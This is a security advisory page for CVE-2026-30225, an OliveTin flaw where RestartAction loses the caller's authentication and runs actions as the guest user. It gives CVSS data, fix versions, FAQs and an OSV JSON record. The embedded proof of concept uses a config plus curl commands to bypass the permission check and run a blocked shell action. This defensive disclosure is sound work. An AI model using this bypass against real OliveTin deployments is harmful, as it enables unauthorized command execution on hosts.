CVE-2026-30225: Github.com/OliveTin/OliveTin OliveTin's RestartAction Always Runs Actions Vulnerability

MODERATE
Advisory Identifier: GHSA-p443-p7w5-2f7f
CVSS 5.3
CWE-441 CWE-250
Published
Advisory Summary

CVE-2026-30225 is a MODERATE (CVSS 5.3) olivetin's restartaction always runs actions vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Github.com/OliveTin/OliveTin libraries in the Go ecosystem. The issue involves olivetin's restartaction always runs actions as guest. Remediation is available by upgrading affected packages to version 0.0.0-20260305000458-cb46a597b246.

CVE-2026-30225 at a Glance

CVE Identifier CVE-2026-30225
GHSA Identifier GHSA-p443-p7w5-2f7f
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Affected Product Github.com/OliveTin/OliveTin
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-30225

To remediate this vulnerability, upgrade all affected Github.com/OliveTin/OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OliveTin/OliveTin fixed: 0.0.0-20260305000458-cb46a597b246
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260305000458-cb46a597b246
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OliveTin/OliveTin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30225, inspect your project dependencies for Github.com/OliveTin/OliveTin:

inspect dependencies for github.com/OliveTin/OliveTin

Analyze the terminal output to locate any version of Github.com/OliveTin/OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260305000458-cb46a597b246), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Github.com/OliveTin/OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. ### Details Affected files: service/internal/api/api.go service/internal/auth/authcheck.go Relevant code in RestartAction: ``` return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{ Msg: &apiv1.StartActionRequest{ BindingId: execReqLogEntry.GetBindingId(), UniqueTrackingId: req.Msg.ExecutionTrackingId, }, }) ``` Authentication in StartAction: ``` authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg) ``` Issue: 1. RestartAction creates a new connect.Request object. 2. The new request does not preserve caller headers or cookies. 3. UserFromApiCall() attempts to resolve the user from the request. 4. Because authentication headers are missing, it falls back to the guest user. 5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges. ### PoC Configuration: ``` defaultPermissions: exec: false users: - username: low password: lowpass permissions: exec: false - username: guest permissions: exec: true actions: - id: restart_bypass_action shell: | echo "pwned" > /tmp/olivetin_restart_bypass.txt ``` Steps to reproduce: Login as low user ``` LOW_LOGIN=$(curl -sS -i -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \ -H 'Content-Type: application/json' \ -d '{"username":"low","password":"lowpass"}') LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \ awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}') ``` Attempt direct execution (correctly blocked) ``` LOW_RUN=$(curl -sS -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"actionId":"restart_bypass_action"}') echo "$LOW_RUN" ``` This should return permission denied. Extract executionTrackingId from response: ``` TRACKING_ID=$(printf '%s' "$LOW_RUN" | \ sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1) echo "Tracking ID: $TRACKING_ID" ``` Call RestartAction: ``` curl -sS -X POST \ http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d "{\"executionTrackingId\":\"$TRACKING_ID\"}" ``` Verify command executed: ``` cat /tmp/olivetin_restart_bypass.txt ``` Output: ``` pwned ``` ### Impact - Privilege Escalation - ACL Bypass - Unauthorized Command Execution Any authenticated low-privilege user can execute actions they are not authorized to run if: - Guest has broader permissions - RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to: - Arbitrary file writes - Sensitive data exposure - Potential full host compromise (depending on OliveTin runtime privileges) This affects all deployments where: - guest.exec = true - A restricted user has exec = false - RestartAction endpoint is accessible

CVE-2026-30225 Affected Github.com/OliveTin/OliveTin Versions

1 component(s)
Fixed Versions:
0.0.0-20260305000458-cb46a597b246
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OliveTin/OliveTin
Go
< 0.0.0-20260305000458-cb46a597b246
0.0.0-20260305000458-cb46a597b246

References

Frequently Asked Questions

What is CVE-2026-30225?
CVE-2026-30225 is a security vulnerability in Github.com/OliveTin/OliveTin involving OliveTin's RestartAction always runs actions as guest under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').
Which Github.com/OliveTin/OliveTin versions are affected?
Affected versions include releases prior to 0.0.0-20260305000458-cb46a597b246 across affected packages: github.com/OliveTin/OliveTin.
What version fixes CVE-2026-30225?
Upgrading to 0.0.0-20260305000458-cb46a597b246 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OliveTin/OliveTin affected?
Yes, github.com/OliveTin/OliveTin is affected in releases prior to 0.0.0-20260305000458-cb46a597b246. Upgrade your dependency to 0.0.0-20260305000458-cb46a597b246 or later.
What is the CVSS score of CVE-2026-30225?
CVE-2026-30225 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-30225?
CVE-2026-30225 is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.).
How can I check Go dependencies for CVE-2026-30225?
Run the dependency tree command: 'inspect dependencies for github.com/OliveTin/OliveTin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p443-p7w5-2f7f",
  "modified" : "2026-03-06T22:52:19Z",
  "published" : "2026-03-05T20:53:46Z",
  "aliases" : [ "CVE-2026-30225" ],
  "summary" : "OliveTin's RestartAction always runs actions as guest",
  "details" : "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{\n    Msg: &apiv1.StartActionRequest{\n        BindingId:        execReqLogEntry.GetBindingId(),\n        UniqueTrackingId: req.Msg.ExecutionTrackingId,\n    },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n  exec: false\n\nusers:\n  - username: low\n    password: lowpass\n    permissions:\n      exec: false\n\n  - username: guest\n    permissions:\n      exec: true\n\nactions:\n  - id: restart_bypass_action\n    shell: |\n      echo \"pwned\" > /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"lowpass\"}')\n\nLOW_SID=$(printf '%s\\n' \"$LOW_LOGIN\" | tr -d '\\r' | \\\n  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"actionId\":\"restart_bypass_action\"}')\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf '%s' \"$LOW_RUN\" | \\\n  sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p' | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260305000458-cb46a597b246"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30225"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-250", "CWE-441" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T20:53:46Z",
    "nvd_published_at" : "2026-03-06T21:16:16Z"
  }
}